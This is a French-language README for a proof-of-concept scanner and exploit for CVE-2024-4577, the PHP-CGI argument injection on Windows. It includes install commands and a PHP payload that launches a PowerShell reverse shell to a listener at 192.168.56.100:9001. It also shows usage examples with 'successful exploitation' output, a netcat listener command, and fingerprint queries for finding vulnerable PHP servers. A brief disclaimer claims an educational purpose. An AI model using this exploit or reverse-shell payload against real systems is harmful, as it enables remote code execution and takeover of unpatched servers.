
PoC - Injection d'arguments PHP CGI CVE-2024-4577 (Scanner et Exploit)
Dans les versions de PHP 8.1.* antérieures à 8.1.29, 8.2.* antérieures à 8.2.20, 8.3.* antérieures à 8.3.8, lors de l'utilisation d'Apache et de PHP-CGI sur Windows, si le système est configuré pour utiliser certaines pages de codes, Windows peut utiliser un comportement « Best-Fit » pour remplacer des caractères dans la ligne de commande donnée aux fonctions Win32 API. Le module PHP CGI peut interpréter ces caractères comme des options PHP, ce qui peut permettre à un utilisateur malveillant de passer des options au binaire PHP en cours d'exécution, et ainsi révéler le code source des scripts, exécuter du code PHP arbitraire sur le serveur, etc.
« XAMPP est vulnérable dans une configuration par défaut, et nous pouvons cibler le point d'accès /php-cgi/php-cgi.exe. Pour cibler un point d'accès .php explicite (par exemple /index.php), le serveur doit être configuré pour exécuter les scripts PHP en mode CGI. »
$ git clone https://github.com/l0n3m4n/CVE-2024-4577-RCE.git
$ cd CVE-2024-4577-RCE && pip install -r requirements.txt

[!NOTE] Cet outil démontre des attaques et techniques (TTPs) réalistes. Cependant, cet échantillon de charge utile spécifique ne fonctionne pas dans ce scénario. Modifiez shell.php pour obtenir une charge utile pleinement fonctionnelle.
# rev_shell.php
<?php
$payload = "powershell -c \"\$client = New-Object System.Net.Sockets.TCPClient('192.168.56.100', 9001);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\";
exec($payload);
?>
$ python3 CVE-2024-4577.py -s -t https://target.com/
_____ _____ _____ _____ _____ _____ _____ _ _
| _ | | | _ | | __| |___ ___ ___ ___| |___ |_|___ ___| |_
| __| | __| --| | |- -|___| .'| _| . |- -| | | | -_| _| _|
|__| |__|__|__| |_____|_____|_____| |__,|_| |_ |_____|_|_|_| |___|___|_|
|___| |___|
Author: l0n3m4n | CVE-2024-4577 | PoC and Scanner
[+] La cible https://target.com est vulnérable à CVE-2024-4577
$ python3 CVE-2024-4577.py -t http://example.com -e -p rev_shell.php
_____ _____ _____ _____ _____ _____ _____ _ _
| _ | | | _ | | __| |___ ___ ___ ___| |___ |_|___ ___| |_
| __| | __| --| | |- -|___| .'| _| . |- -| | | | -_| _| _|
|__| |__|__|__| |_____|_____|_____| |__,|_| |_ |_____|_|_|_| |___|___|_|
|___| |___|
Author: l0n3m4n | CVE-2024-4577 | PoC and Scanner
[+] Exploitation réussie !
$ nc -lvnp 9001
server: PHP 8.1, server: PHP 8.2, server: PHP 8.3protocol="http" && header="X-Powered-By: PHP/8.1" || header="X-Powered-By: PHP/8.2" || header="X-Powered-By: PHP/8.3"Cet outil est fourni uniquement à des fins éducatives et de recherche. Le créateur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par l'outil. Créer un ticket